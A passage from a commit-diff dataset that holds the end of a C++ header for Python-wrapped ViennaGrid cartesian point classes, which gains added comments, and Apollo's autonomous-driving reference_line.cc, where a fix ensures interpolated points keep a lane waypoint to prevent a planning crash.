get_coord(unsigned int index);\n\tvoid set_coord(unsigned int index, double new_value);\n\tlist get_coord_list();\n\tPointCartesian2D & operator=(const PointCartesian2D &other);\n\tPointCartesian2D operator+(const PointCartesian2D &other);\n\tPointCartesian2D operator-(const PointCartesian2D &other);\n\tPointCartesian2D operator*(const double factor);\n\tPointCartesian2D operator\/(const double factor);\n};\n\nclass PointCartesian3D {\n\t\/**\n\t * Pointer to the low-level ViennaGrid point type.\n\t**\/\n\tPointCartesian3D_t *point;\n\t\n\tint id;\npublic:\n\t\/**\n\t * Initialize point in the 3D cartesian space with coordinates (0, 0, 0).\n\t *\n\t * This constructor is meant to be used when the programmer creates an instance of the high-level Python point,\n\t * and allocates memory in the heap for storing the point. As one would normally think, this should be paired\n\t * with a destructor that frees the allocated memory. However, when we free the memory in the destructor, the\n\t * program aborts and states that the program tried to perform a double-free.\n\t**\/\n\tPointCartesian3D();\n\t\n\t\/**\n\t * Initialize point in the 3D cartesian space with coordinates (x, y, z) as specified by the parameters.\n\t *\n\t * This constructor is meant to be used when the programmer creates an instance of the high-level Python point,\n\t * and allocates memory in the heap for storing the point. As one would normally think, this should be paired\n\t * with a destructor that frees the allocated memory. However, when we free the memory in the destructor, the\n\t * program aborts and states that the program tried to perform a double-free.\n\t**\/\n\tPointCartesian3D(double x, double y, double z);\n\t\n\t\/**\n\t * Initialize point in the DIM cartesian space from a ViennaGrid point.\n\t *\n\t * What this makes is to set the pointer to point to the ViennaGrid point and thus solves the issue caused by\n\t * the fact that the ViennaGrid point was being copied, thus not being able to get references to the points\n\t * stored in the domain and thus not being able to modify them.\n\t *\n\t * This constructor is meant to be used by the wrapper code when the programmer tries to get a reference to\n\t * a point stored in a domain (not when they want to define a point on their own!), and *does not* allocate\n\t * memory in the heap, thus elliminating the need for the constructor to free that memory when this constructor\n\t * has been used. At first, one would think that it should be distinguished in some way when the object has been\n\t * instantiated using this constructor or any other constructor in order for the destructor to only free when\n\t * another constructor has been called, not this one. However, we have shown that no freeing action is need at all.\n\t**\/\n\tPointCartesian3D(PointCartesian3D_t &initial_point, unsigned int initial_id=0);\n\tsize_t get_dimension();\n\tconst char * get_coord_system();\n\tPointCartesian3D_t & get_point();\n\tbool operator==(const PointCartesian3D &other);\n\tunsigned int get_id();\n\tvoid set_id(unsigned int new_id);\n};\n\n#endif \/* end of include guard: CARTESIAN_HPP_40UV2UQE *\/\n<commit_msg>Reorder methods in the interface of cartesian 2D points and add comments.<commit_after>#ifndef CARTESIAN_HPP_40UV2UQE\n#define CARTESIAN_HPP_40UV2UQE\n\n#include \"types.hpp\"\n\n#include <boost\/python.hpp>\nusing namespace boost::python;\n\nclass PointCartesian2D {\n\t\/**\n\t * Pointer to the low-level ViennaGrid point type that actually stores the information about the point.\n\t**\/\n\tPointCartesian2D_t *point;\n\t\n\t\/**\n\t * ID of the point within the domain it is assigned to (if applicable).\n\t * If the point is not assigned to any domain as a vertex, its value is -1.\n\t * Otherwise, its value will be the ID of the point within the domain, i.e. its index\n\t * in the vector of vertices.\n\t**\/\n\tint id;\npublic:\n\t\/**\n\t * Initialize point in the 2D cartesian space with coordinates (0, 0).\n\t *\n\t * This constructor is meant to be used when the programmer creates an instance of the high-level Python point,\n\t * and allocates memory in the heap for storing the point. As one would normally think, this should be paired\n\t * with a destructor that frees the allocated memory. However, when we free the memory in the destructor, the\n\t * program aborts and states that the program tried to perform a double-free.\n\t**\/\n\tPointCartesian2D();\n\t\n\t\/**\n\t * Initialize point in the 2D cartesian space with coordinates (x, y) as specified by the parameters.\n\t *\n\t * This constructor is meant to be used when the programmer creates an instance of the high-level Python point,\n\t * and allocates memory in the heap for storing the point. As one would normally think, this should be paired\n\t * with a destructor that frees the allocated memory. However, when we free the memory in the destructor, the\n\t * program aborts and states that the program tried to perform a double-free.\n\t**\/\n\tPointCartesian2D(double x, double y);\n\t\n\t\/**\n\t * Initialize point in the DIM cartesian space from a ViennaGrid point.\n\t *\n\t * What this makes is to set the pointer to point to the ViennaGrid point and thus solves the issue caused by\n\t * the fact that the ViennaGrid point was being copied, thus not being able to get references to the points\n\t * stored in the domain and thus not being able to modify them.\n\t *\n\t * This constructor is meant to be used by the wrapper code when the programmer tries to get a reference to\n\t * a point stored in a domain (not when they want to define a point on their own!), and *does not* allocate\n\t * memory in the heap, thus elliminating the need for the constructor to free that memory when this constructor\n\t * has been used. At first, one would think that it should be distinguished in some way when the object has been\n\t * instantiated using this constructor or any other constructor in order for the destructor to only free when\n\t * another constructor has been called, not this one. However, we have shown that no freeing action is need at all.\n\t**\/\n\tPointCartesian2D(PointCartesian2D_t &initial_point, unsigned int initial_id=0);\n\t\n\t\/**\n\t * Get the dimension of the point. For 2D points, this always returns 2.\n\t**\/\n\tsize_t get_dimension();\n\t\n\t\/**\n\t * Get the name of the coordinate system. For cartesian points, this always returns 'cartesian'.\n\t**\/\n\tconst char * get_coord_system();\n\t\n\t\/**\n\t * Get the coordinate at given index (0 for x, 1 for y).\n\t**\/\n\tdouble get_coord(unsigned int index);\n\t\n\t\/**\n\t * Set the coordinate at given index (0 for x, 1 for y).\n\t**\/\n\tvoid set_coord(unsigned int index, double new_value);\n\t\n\t\/**\n\t * Get coordinates as a Python list.\n\t**\/\n\tlist get_coord_list();\n\t\n\tbool operator==(const PointCartesian2D &other);\n\t\n\t\/**\n\t * Assignment operator that copies the coordinates of the right operand to the left operand.\n\t * This operator cannot be wrapped to Python explicitly.\n\t**\/\n\tPointCartesian2D & operator=(const PointCartesian2D &other);\n\t\n\t\/**\n\t * Addition operator which adds two points coordinate by coordinate.\n\t**\/\n\tPointCartesian2D operator+(const PointCartesian2D &other);\n\t\n\t\/**\n\t * Subtraction operator which subtracts two points coordinate by coordinate.\n\t**\/\n\tPointCartesian2D operator-(const PointCartesian2D &other);\n\t\n\t\/**\n\t * Multiplication operator which multiplies a point and a scalar (real) number, coordinate by coordinate.\n\t**\/\n\tPointCartesian2D operator*(const double factor);\n\t\n\t\/**\n\t * Divisioon operator which divides a point and a scalar (real) number, coordinate by coordinate.\n\t**\/\n\tPointCartesian2D operator\/(const double factor);\n\t\n\t\/**\n\t * Get ViennaGrid point.\n\t**\/\n\tPointCartesian2D_t & get_point();\n\t\n\t\/**\n\t * Get ID of the point within the domain it is assigned to (if applicable).\n\t**\/\n\tunsigned int get_id();\n\t\n\t\/**\n\t * Set ID of the point within the domain it is assigned to.\n\t**\/\n\tvoid set_id(unsigned int new_id);\n};\n\nclass PointCartesian3D {\n\t\/**\n\t * Pointer to the low-level ViennaGrid point type.\n\t**\/\n\tPointCartesian3D_t *point;\n\t\n\tint id;\npublic:\n\t\/**\n\t * Initialize point in the 3D cartesian space with coordinates (0, 0, 0).\n\t *\n\t * This constructor is meant to be used when the programmer creates an instance of the high-level Python point,\n\t * and allocates memory in the heap for storing the point. As one would normally think, this should be paired\n\t * with a destructor that frees the allocated memory. However, when we free the memory in the destructor, the\n\t * program aborts and states that the program tried to perform a double-free.\n\t**\/\n\tPointCartesian3D();\n\t\n\t\/**\n\t * Initialize point in the 3D cartesian space with coordinates (x, y, z) as specified by the parameters.\n\t *\n\t * This constructor is meant to be used when the programmer creates an instance of the high-level Python point,\n\t * and allocates memory in the heap for storing the point. As one would normally think, this should be paired\n\t * with a destructor that frees the allocated memory. However, when we free the memory in the destructor, the\n\t * program aborts and states that the program tried to perform a double-free.\n\t**\/\n\tPointCartesian3D(double x, double y, double z);\n\t\n\t\/**\n\t * Initialize point in the DIM cartesian space from a ViennaGrid point.\n\t *\n\t * What this makes is to set the pointer to point to the ViennaGrid point and thus solves the issue caused by\n\t * the fact that the ViennaGrid point was being copied, thus not being able to get references to the points\n\t * stored in the domain and thus not being able to modify them.\n\t *\n\t * This constructor is meant to be used by the wrapper code when the programmer tries to get a reference to\n\t * a point stored in a domain (not when they want to define a point on their own!), and *does not* allocate\n\t * memory in the heap, thus elliminating the need for the constructor to free that memory when this constructor\n\t * has been used. At first, one would think that it should be distinguished in some way when the object has been\n\t * instantiated using this constructor or any other constructor in order for the destructor to only free when\n\t * another constructor has been called, not this one. However, we have shown that no freeing action is need at all.\n\t**\/\n\tPointCartesian3D(PointCartesian3D_t &initial_point, unsigned int initial_id=0);\n\tsize_t get_dimension();\n\tconst char * get_coord_system();\n\tPointCartesian3D_t & get_point();\n\tbool operator==(const PointCartesian3D &other);\n\tunsigned int get_id();\n\tvoid set_id(unsigned int new_id);\n};\n\n#endif \/* end of include guard: CARTESIAN_HPP_40UV2UQE *\/\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file reference_line.cc\n **\/\n\n#include \"modules\/planning\/reference_line\/reference_line.h\"\n\n#include <algorithm>\n#include <limits>\n#include <string>\n#include <utility>\n#include <vector>\n\n#include \"boost\/math\/tools\/minima.hpp\"\n\n#include \"modules\/common\/log.h\"\n#include \"modules\/common\/math\/angle.h\"\n#include \"modules\/common\/math\/linear_interpolation.h\"\n#include \"modules\/common\/math\/vec2d.h\"\n#include \"modules\/common\/util\/string_util.h\"\n#include \"modules\/planning\/common\/planning_gflags.h\"\n#include \"modules\/planning\/math\/double.h\"\n\nnamespace apollo {\nnamespace planning {\n\nusing MapPath = hdmap::Path;\nusing SLPoint = apollo::common::SLPoint;\n\nReferenceLine::ReferenceLine(\n    const std::vector<ReferencePoint>& reference_points)\n    : reference_points_(reference_points),\n      map_path_(MapPath(std::vector<hdmap::MapPathPoint>(\n          reference_points.begin(), reference_points.end()))) {}\n\nReferenceLine::ReferenceLine(const MapPath& hdmap_path)\n    : map_path_(hdmap_path) {\n  for (const auto& point : hdmap_path.path_points()) {\n    DCHECK(!point.lane_waypoints().empty());\n    const auto& lane_waypoint = point.lane_waypoints()[0];\n    reference_points_.emplace_back(\n        hdmap::MapPathPoint(point, point.heading(), lane_waypoint), 0.0, 0.0,\n        0.0, 0.0);\n  }\n}\n\nReferenceLine::ReferenceLine(\n    const std::vector<ReferencePoint>& reference_points,\n    const std::vector<hdmap::LaneSegment>& lane_segments,\n    const double max_approximation_error)\n    : reference_points_(reference_points),\n      map_path_(MapPath(std::vector<hdmap::MapPathPoint>(\n                            reference_points.begin(), reference_points.end()),\n                        lane_segments, max_approximation_error)) {}\n\nReferencePoint ReferenceLine::get_reference_point(const double s) const {\n  const auto& accumulated_s = map_path_.accumulated_s();\n  if (s < accumulated_s.front()) {\n    AWARN << \"The requested s is before the start point of the reference \"\n             \"line; reference line starts at \"\n          << accumulated_s.front() << \", requested \" << s << \".\";\n    ReferencePoint ref_point(map_path_.get_smooth_point(s), 0.0, 0.0, 0.0, 0.0);\n    if (ref_point.lane_waypoints().empty()) {\n      ref_point.add_lane_waypoints(reference_points_.front().lane_waypoints());\n    }\n    return ref_point;\n  }\n  if (s > accumulated_s.back()) {\n    AWARN << \"The requested s exceeds the reference line; reference line \"\n             \"ends at \"\n          << accumulated_s.back() << \"requested \" << s << \" .\";\n    ReferencePoint ref_point(map_path_.get_smooth_point(s), 0.0, 0.0, 0.0, 0.0);\n    if (ref_point.lane_waypoints().empty()) {\n      ref_point.add_lane_waypoints(reference_points_.back().lane_waypoints());\n    }\n    return ref_point;\n  }\n\n  auto it_lower =\n      std::lower_bound(accumulated_s.begin(), accumulated_s.end(), s);\n  if (it_lower == accumulated_s.begin()) {\n    return reference_points_.front();\n  } else {\n    std::uint32_t index =\n        static_cast<std::uint32_t>(it_lower - accumulated_s.begin());\n    auto p0 = reference_points_[index - 1];\n    auto p1 = reference_points_[index];\n\n    auto s0 = accumulated_s[index - 1];\n    auto s1 = accumulated_s[index];\n\n    return interpolate(p0, s0, p1, s1, s);\n  }\n}\n\ndouble ReferenceLine::find_min_distance_point(const ReferencePoint& p0,\n                                              const double s0,\n                                              const ReferencePoint& p1,\n                                              const double s1, const double x,\n                                              const double y) {\n  auto func_dist_square = [&p0, &p1, &s0, &s1, &x, &y](const double s) {\n    auto p = interpolate(p0, s0, p1, s1, s);\n    double dx = p.x() - x;\n    double dy = p.y() - y;\n    return dx * dx + dy * dy;\n  };\n\n  return ::boost::math::tools::brent_find_minima(func_dist_square, s0, s1, 8)\n      .first;\n}\n\nReferencePoint ReferenceLine::get_reference_point(const double x,\n                                                  const double y) const {\n  CHECK_GE(reference_points_.size(), 0);\n\n  auto func_distance_square = [](const ReferencePoint& point, const double x,\n                                 const double y) {\n    double dx = point.x() - x;\n    double dy = point.y() - y;\n    return dx * dx + dy * dy;\n  };\n\n  double d_min = func_distance_square(reference_points_.front(), x, y);\n  double index_min = 0;\n\n  for (uint32_t i = 1; i < reference_points_.size(); ++i) {\n    double d_temp = func_distance_square(reference_points_[i], x, y);\n    if (d_temp < d_min) {\n      d_min = d_temp;\n      index_min = i;\n    }\n  }\n\n  uint32_t index_start = (index_min == 0 ? index_min : index_min - 1);\n  uint32_t index_end =\n      (index_min + 1 == reference_points_.size() ? index_min : index_min + 1);\n\n  if (index_start == index_end) {\n    return reference_points_[index_start];\n  }\n\n  double s0 = map_path_.accumulated_s()[index_start];\n  double s1 = map_path_.accumulated_s()[index_end];\n\n  double s = ReferenceLine::find_min_distance_point(\n      reference_points_[index_start], s0, reference_points_[index_end], s1, x,\n      y);\n\n  return interpolate(reference_points_[index_start], s0,\n                     reference_points_[index_end], s1, s);\n}\n\nbool ReferenceLine::SLToXY(const common::SLPoint& sl_point,\n                           common::math::Vec2d* const xy_point) const {\n  CHECK_NOTNULL(xy_point);\n  if (map_path_.num_points() < 2) {\n    AERROR << \"The reference line has too few points.\";\n    return false;\n  }\n\n  const auto matched_point = get_reference_point(sl_point.s());\n  const auto angle = common::math::Angle16::from_rad(matched_point.heading());\n  xy_point->set_x(matched_point.x() - common::math::sin(angle) * sl_point.l());\n  xy_point->set_y(matched_point.y() + common::math::cos(angle) * sl_point.l());\n  return true;\n}\n\nbool ReferenceLine::XYToSL(const common::math::Vec2d& xy_point,\n                           common::SLPoint* const sl_point) const {\n  DCHECK_NOTNULL(sl_point);\n  double s = 0;\n  double l = 0;\n  if (!map_path_.get_projection(xy_point, &s, &l)) {\n    AERROR << \"Can't get nearest point from path.\";\n    return false;\n  }\n\n  sl_point->set_s(s);\n  sl_point->set_l(l);\n  return true;\n}\n\nReferencePoint ReferenceLine::interpolate(const ReferencePoint& p0,\n                                          const double s0,\n                                          const ReferencePoint& p1,\n                                          const double s1, const double s) {\n  if (std::fabs(s0 - s1) < common::math::kMathEpsilon) {\n    return p0;\n  }\n  DCHECK_LE(s0 - 1.0e-6, s) << \" s: \" << s << \" is less than s0 :\" << s0;\n  DCHECK_LE(s, s1 + 1.0e-6) << \"s: \" << s << \"is larger than s1: \" << s1;\n\n  CHECK(!p0.lane_waypoints().empty());\n  CHECK(!p1.lane_waypoints().empty());\n  const double x = common::math::lerp(p0.x(), s0, p1.x(), s1, s);\n  const double y = common::math::lerp(p0.y(), s0, p1.y(), s1, s);\n  const double heading =\n      common::math::slerp(p0.heading(), s0, p1.heading(), s1, s);\n  const double kappa = common::math::lerp(p0.kappa(), s0, p1.kappa(), s1, s);\n  const double dkappa = common::math::lerp(p0.dkappa(), s0, p1.dkappa(), s1, s);\n  const auto& p0_waypoint = p0.lane_waypoints()[0];\n  std::vector<hdmap::LaneWaypoint> waypoints;\n  double upper_bound = 0.0;\n  double lower_bound = 0.0;\n  if ((s - s0) + p0_waypoint.s <= p0_waypoint.lane->total_length()) {\n    const double lane_s = p0_waypoint.s + s - s0;\n    waypoints.emplace_back(p0_waypoint.lane, lane_s);\n    p0_waypoint.lane->get_width(lane_s, &upper_bound, &lower_bound);\n  }\n  const auto& p1_waypoint = p1.lane_waypoints()[0];\n  if (p1_waypoint.lane->id().id() != p0_waypoint.lane->id().id() &&\n      p1_waypoint.s - (s1 - s) >= 0) {\n    const double lane_s = p1_waypoint.s - (s1 - s);\n    waypoints.emplace_back(p1_waypoint.lane, lane_s);\n    p1_waypoint.lane->get_width(lane_s, &upper_bound, &lower_bound);\n  }\n\n  return ReferencePoint(hdmap::MapPathPoint({x, y}, heading, waypoints), kappa,\n                        dkappa, lower_bound, upper_bound);\n}\n\nconst std::vector<ReferencePoint>& ReferenceLine::reference_points() const {\n  return reference_points_;\n}\n\nconst MapPath& ReferenceLine::map_path() const { return map_path_; }\n\nbool ReferenceLine::get_lane_width(const double s, double* const left_width,\n                                   double* const right_width) const {\n  return map_path_.get_width(s, left_width, right_width);\n}\n\nbool ReferenceLine::is_on_road(const common::SLPoint& sl_point) const {\n  if (sl_point.s() <= 0 || sl_point.s() > map_path_.length()) {\n    return false;\n  }\n  double left_width = 0.0;\n  double right_width = 0.0;\n\n  if (!get_lane_width(sl_point.s(), &left_width, &right_width)) {\n    return false;\n  }\n\n  if (sl_point.l() <= -right_width || sl_point.l() >= left_width) {\n    return false;\n  }\n\n  return true;\n}\n\nbool ReferenceLine::GetSLBoundary(const common::math::Box2d& box,\n                                  SLBoundary* const sl_boundary) const {\n  double start_s(std::numeric_limits<double>::max());\n  double end_s(std::numeric_limits<double>::lowest());\n  double start_l(std::numeric_limits<double>::max());\n  double end_l(std::numeric_limits<double>::lowest());\n  std::vector<common::math::Vec2d> corners;\n  box.GetAllCorners(&corners);\n  for (const auto& point : corners) {\n    common::SLPoint sl_point;\n    if (!XYToSL(point, &sl_point)) {\n      AERROR << \"failed to get projection for point: \" << point.DebugString()\n             << \" on reference line.\";\n      return false;\n    }\n    start_s = std::fmin(start_s, sl_point.s());\n    end_s = std::fmax(end_s, sl_point.s());\n    start_l = std::fmin(start_l, sl_point.l());\n    end_l = std::fmax(end_l, sl_point.l());\n  }\n  sl_boundary->set_start_s(start_s);\n  sl_boundary->set_end_s(end_s);\n  sl_boundary->set_start_l(start_l);\n  sl_boundary->set_end_l(end_l);\n  return true;\n}\n\nbool ReferenceLine::HasOverlap(const common::math::Box2d& box) const {\n  SLBoundary sl_boundary;\n  if (!GetSLBoundary(box, &sl_boundary)) {\n    AERROR << \"Failed to get sl boundary for box \" << box.DebugString();\n    return false;\n  }\n  if (sl_boundary.end_s() < 0 || sl_boundary.start_s() > length()) {\n    return false;\n  }\n  if (sl_boundary.start_l() * sl_boundary.end_l() < 0) {\n    return false;\n  }\n\n  double left_width = 0.0;\n  double right_width = 0.0;\n  const double mid_s = (sl_boundary.start_s() + sl_boundary.end_s()) \/ 2.0;\n  if (!map_path_.get_width(mid_s, &left_width, &right_width)) {\n    AERROR << \"failed to get width at s = \" << mid_s;\n    return false;\n  }\n  if (sl_boundary.start_l() > 0) {\n    return sl_boundary.start_l() < left_width;\n  } else {\n    return sl_boundary.end_l() > -right_width;\n  }\n}\n\nstd::string ReferenceLine::DebugString() const {\n  const auto limit =\n      std::min(reference_points_.size(),\n               static_cast<size_t>(FLAGS_trajectory_point_num_for_debug));\n  return apollo::common::util::StrCat(\n      \"point num:\", reference_points_.size(),\n      apollo::common::util::PrintDebugStringIter(\n          reference_points_.begin(), reference_points_.begin() + limit, \"\"));\n}\n\ndouble ReferenceLine::GetSpeedLimitFromS(const double s) const {\n  const auto& map_path_point = get_reference_point(s);\n  double speed_limit = FLAGS_planning_speed_upper_limit;\n  for (const auto& lane_waypoint : map_path_point.lane_waypoints()) {\n    if (lane_waypoint.lane == nullptr) {\n      AWARN << \"lane_waypoint.lane is nullptr\";\n      continue;\n    }\n    speed_limit =\n        std::fmin(lane_waypoint.lane->lane().speed_limit(), speed_limit);\n  }\n  return speed_limit;\n}\n\ndouble ReferenceLine::GetSpeedLimitFromPoint(\n    const common::math::Vec2d& point) const {\n  SLPoint sl;\n  if (!XYToSL(point, &sl)) {\n    AWARN << \"Failed to get projection for point: \" << point.DebugString();\n    return FLAGS_planning_speed_upper_limit;\n  }\n  return GetSpeedLimitFromS(sl.s());\n}\n\n}  \/\/ namespace planning\n}  \/\/ namespace apollo\n<commit_msg>planning: make sure all reference points have lane way point for width calculation. it fixes one planning crash.<commit_after>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file reference_line.cc\n **\/\n\n#include \"modules\/planning\/reference_line\/reference_line.h\"\n\n#include <algorithm>\n#include <limits>\n#include <string>\n#include <utility>\n#include <vector>\n\n#include \"boost\/math\/tools\/minima.hpp\"\n\n#include \"modules\/common\/log.h\"\n#include \"modules\/common\/math\/angle.h\"\n#include \"modules\/common\/math\/linear_interpolation.h\"\n#include \"modules\/common\/math\/vec2d.h\"\n#include \"modules\/common\/util\/string_util.h\"\n#include \"modules\/planning\/common\/planning_gflags.h\"\n#include \"modules\/planning\/math\/double.h\"\n\nnamespace apollo {\nnamespace planning {\n\nusing MapPath = hdmap::Path;\nusing SLPoint = apollo::common::SLPoint;\n\nReferenceLine::ReferenceLine(\n    const std::vector<ReferencePoint>& reference_points)\n    : reference_points_(reference_points),\n      map_path_(MapPath(std::vector<hdmap::MapPathPoint>(\n          reference_points.begin(), reference_points.end()))) {}\n\nReferenceLine::ReferenceLine(const MapPath& hdmap_path)\n    : map_path_(hdmap_path) {\n  for (const auto& point : hdmap_path.path_points()) {\n    DCHECK(!point.lane_waypoints().empty());\n    const auto& lane_waypoint = point.lane_waypoints()[0];\n    reference_points_.emplace_back(\n        hdmap::MapPathPoint(point, point.heading(), lane_waypoint), 0.0, 0.0,\n        0.0, 0.0);\n  }\n}\n\nReferenceLine::ReferenceLine(\n    const std::vector<ReferencePoint>& reference_points,\n    const std::vector<hdmap::LaneSegment>& lane_segments,\n    const double max_approximation_error)\n    : reference_points_(reference_points),\n      map_path_(MapPath(std::vector<hdmap::MapPathPoint>(\n                            reference_points.begin(), reference_points.end()),\n                        lane_segments, max_approximation_error)) {}\n\nReferencePoint ReferenceLine::get_reference_point(const double s) const {\n  const auto& accumulated_s = map_path_.accumulated_s();\n  if (s < accumulated_s.front()) {\n    AWARN << \"The requested s is before the start point of the reference \"\n             \"line; reference line starts at \"\n          << accumulated_s.front() << \", requested \" << s << \".\";\n    ReferencePoint ref_point(map_path_.get_smooth_point(s), 0.0, 0.0, 0.0, 0.0);\n    if (ref_point.lane_waypoints().empty()) {\n      ref_point.add_lane_waypoints(reference_points_.front().lane_waypoints());\n    }\n    return ref_point;\n  }\n  if (s > accumulated_s.back()) {\n    AWARN << \"The requested s exceeds the reference line; reference line \"\n             \"ends at \"\n          << accumulated_s.back() << \"requested \" << s << \" .\";\n    ReferencePoint ref_point(map_path_.get_smooth_point(s), 0.0, 0.0, 0.0, 0.0);\n    if (ref_point.lane_waypoints().empty()) {\n      ref_point.add_lane_waypoints(reference_points_.back().lane_waypoints());\n    }\n    return ref_point;\n  }\n\n  auto it_lower =\n      std::lower_bound(accumulated_s.begin(), accumulated_s.end(), s);\n  if (it_lower == accumulated_s.begin()) {\n    return reference_points_.front();\n  } else {\n    std::uint32_t index =\n        static_cast<std::uint32_t>(it_lower - accumulated_s.begin());\n    auto p0 = reference_points_[index - 1];\n    auto p1 = reference_points_[index];\n\n    auto s0 = accumulated_s[index - 1];\n    auto s1 = accumulated_s[index];\n\n    return interpolate(p0, s0, p1, s1, s);\n  }\n}\n\ndouble ReferenceLine::find_min_distance_point(const ReferencePoint& p0,\n                                              const double s0,\n                                              const ReferencePoint& p1,\n                                              const double s1, const double x,\n                                              const double y) {\n  auto func_dist_square = [&p0, &p1, &s0, &s1, &x, &y](const double s) {\n    auto p = interpolate(p0, s0, p1, s1, s);\n    double dx = p.x() - x;\n    double dy = p.y() - y;\n    return dx * dx + dy * dy;\n  };\n\n  return ::boost::math::tools::brent_find_minima(func_dist_square, s0, s1, 8)\n      .first;\n}\n\nReferencePoint ReferenceLine::get_reference_point(const double x,\n                                                  const double y) const {\n  CHECK_GE(reference_points_.size(), 0);\n\n  auto func_distance_square = [](const ReferencePoint& point, const double x,\n                                 const double y) {\n    double dx = point.x() - x;\n    double dy = point.y() - y;\n    return dx * dx + dy * dy;\n  };\n\n  double d_min = func_distance_square(reference_points_.front(), x, y);\n  double index_min = 0;\n\n  for (uint32_t i = 1; i < reference_points_.size(); ++i) {\n    double d_temp = func_distance_square(reference_points_[i], x, y);\n    if (d_temp < d_min) {\n      d_min = d_temp;\n      index_min = i;\n    }\n  }\n\n  uint32_t index_start = (index_min == 0 ? index_min : index_min - 1);\n  uint32_t index_end =\n      (index_min + 1 == reference_points_.size() ? index_min : index_min + 1);\n\n  if (index_start == index_end) {\n    return reference_points_[index_start];\n  }\n\n  double s0 = map_path_.accumulated_s()[index_start];\n  double s1 = map_path_.accumulated_s()[index_end];\n\n  double s = ReferenceLine::find_min_distance_point(\n      reference_points_[index_start], s0, reference_points_[index_end], s1, x,\n      y);\n\n  return interpolate(reference_points_[index_start], s0,\n                     reference_points_[index_end], s1, s);\n}\n\nbool ReferenceLine::SLToXY(const common::SLPoint& sl_point,\n                           common::math::Vec2d* const xy_point) const {\n  CHECK_NOTNULL(xy_point);\n  if (map_path_.num_points() < 2) {\n    AERROR << \"The reference line has too few points.\";\n    return false;\n  }\n\n  const auto matched_point = get_reference_point(sl_point.s());\n  const auto angle = common::math::Angle16::from_rad(matched_point.heading());\n  xy_point->set_x(matched_point.x() - common::math::sin(angle) * sl_point.l());\n  xy_point->set_y(matched_point.y() + common::math::cos(angle) * sl_point.l());\n  return true;\n}\n\nbool ReferenceLine::XYToSL(const common::math::Vec2d& xy_point,\n                           common::SLPoint* const sl_point) const {\n  DCHECK_NOTNULL(sl_point);\n  double s = 0;\n  double l = 0;\n  if (!map_path_.get_projection(xy_point, &s, &l)) {\n    AERROR << \"Can't get nearest point from path.\";\n    return false;\n  }\n\n  sl_point->set_s(s);\n  sl_point->set_l(l);\n  return true;\n}\n\nReferencePoint ReferenceLine::interpolate(const ReferencePoint& p0,\n                                          const double s0,\n                                          const ReferencePoint& p1,\n                                          const double s1, const double s) {\n  if (std::fabs(s0 - s1) < common::math::kMathEpsilon) {\n    return p0;\n  }\n  DCHECK_LE(s0 - 1.0e-6, s) << \" s: \" << s << \" is less than s0 :\" << s0;\n  DCHECK_LE(s, s1 + 1.0e-6) << \"s: \" << s << \"is larger than s1: \" << s1;\n\n  CHECK(!p0.lane_waypoints().empty());\n  CHECK(!p1.lane_waypoints().empty());\n  const double x = common::math::lerp(p0.x(), s0, p1.x(), s1, s);\n  const double y = common::math::lerp(p0.y(), s0, p1.y(), s1, s);\n  const double heading =\n      common::math::slerp(p0.heading(), s0, p1.heading(), s1, s);\n  const double kappa = common::math::lerp(p0.kappa(), s0, p1.kappa(), s1, s);\n  const double dkappa = common::math::lerp(p0.dkappa(), s0, p1.dkappa(), s1, s);\n  const auto& p0_waypoint = p0.lane_waypoints()[0];\n  std::vector<hdmap::LaneWaypoint> waypoints;\n  double upper_bound = 0.0;\n  double lower_bound = 0.0;\n  if ((s - s0) + p0_waypoint.s <= p0_waypoint.lane->total_length()) {\n    const double lane_s = p0_waypoint.s + s - s0;\n    waypoints.emplace_back(p0_waypoint.lane, lane_s);\n    p0_waypoint.lane->get_width(lane_s, &upper_bound, &lower_bound);\n  }\n  const auto& p1_waypoint = p1.lane_waypoints()[0];\n  if (p1_waypoint.lane->id().id() != p0_waypoint.lane->id().id() &&\n      p1_waypoint.s - (s1 - s) >= 0) {\n    const double lane_s = p1_waypoint.s - (s1 - s);\n    waypoints.emplace_back(p1_waypoint.lane, lane_s);\n    p1_waypoint.lane->get_width(lane_s, &upper_bound, &lower_bound);\n  }\n  if (waypoints.empty()) {\n    const double lane_s = p0_waypoint.s;\n    waypoints.emplace_back(p0_waypoint.lane, lane_s);\n    p0_waypoint.lane->get_width(lane_s, &upper_bound, &lower_bound);\n  }\n  return ReferencePoint(hdmap::MapPathPoint({x, y}, heading, waypoints), kappa,\n                        dkappa, lower_bound, upper_bound);\n}\n\nconst std::vector<ReferencePoint>& ReferenceLine::reference_points() const {\n  return reference_points_;\n}\n\nconst MapPath& ReferenceLine::map_path() const { return map_path_; }\n\nbool ReferenceLine::get_lane_width(const double s, double* const left_width,\n                                   double* const right_width) const {\n  return map_path_.get_width(s, left_width, right_width);\n}\n\nbool ReferenceLine::is_on_road(const common::SLPoint& sl_point) const {\n  if (sl_point.s() <= 0 || sl_point.s() > map_path_.length()) {\n    return false;\n  }\n  double left_width = 0.0;\n  double right_width = 0.0;\n\n  if (!get_lane_width(sl_point.s(), &left_width, &right_width)) {\n    return false;\n  }\n\n  if (sl_point.l() <= -right_width || sl_point.l() >= left_width) {\n    return false;\n  }\n\n  return true;\n}\n\nbool ReferenceLine::GetSLBoundary(const common::math::Box2d& box,\n                                  SLBoundary* const sl_boundary) const {\n  double start_s(std::numeric_limits<double>::max());\n  double end_s(std::numeric_limits<double>::lowest());\n  double start_l(std::numeric_limits<double>::max());\n  double end_l(std::numeric_limits<double>::lowest());\n  std::vector<common::math::Vec2d> corners;\n  box.GetAllCorners(&corners);\n  for (const auto& point : corners) {\n    